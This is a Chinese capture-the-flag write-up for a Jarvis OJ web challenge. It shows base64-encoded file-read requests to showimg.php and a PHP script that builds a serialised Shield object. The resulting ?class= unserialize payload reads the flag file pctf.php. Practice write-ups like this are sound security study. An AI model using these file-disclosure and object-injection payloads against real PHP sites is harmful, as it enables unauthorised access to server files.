神盾局的秘密
题目地址:http://web.jarvisoj.com:32768
首先F12查看源码,发现showimg.php?img=c2hpZWxkLmpwZw==
进入Network中打开showimg.php?img=c2hpZWxkLmpwZw==,是一堆乱码,看见showing.php应该是文件包含类的题目。
c2hpZWxkLmpwZw==是base64编码,解码后为shield.jpg,所以img查看的内容需要base64加密。
首先先查看showing.php,加密后为c2hvd2luZy5waHA=,payload img=c2hvd2luZy5waHA=
,用view-source
查看源码。
对$f解码后过滤..
,/
,\\
,pctf
接着查看index.php的内容,加密aW5kZXgucGhw,payload img=aW5kZXgucGhw+view-source
.
引入shield.php,有类名Shield
,出现反序列化函数unserialize
,目前还没有思路。
再看shield.php,加密c2hpZWxkLnBocA==,payload img=c2hpZWxkLnBocA==
+view-source
.
第一行说flag在pctf.php
中,Shield类出现,也过滤了..
,/
,\\
,没有过滤pctf
由于前面showing.php中过滤了pctf,所以不能直接查看,所以利用反序列化漏洞。
开始写脚本。
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$ctf = new Shield('pctf.php');
echo serialize($ctf);
?>
得到序列化后的结果O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
,构造payload ?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
,F12后看到flag。
总结:
此题是文件包含和反序列化类的题,首先要想到base64加密,之后查看各个php文件,得到线索,想办法查看pctf.php,showing.php都不通,只能在index.php中的序列化上下手。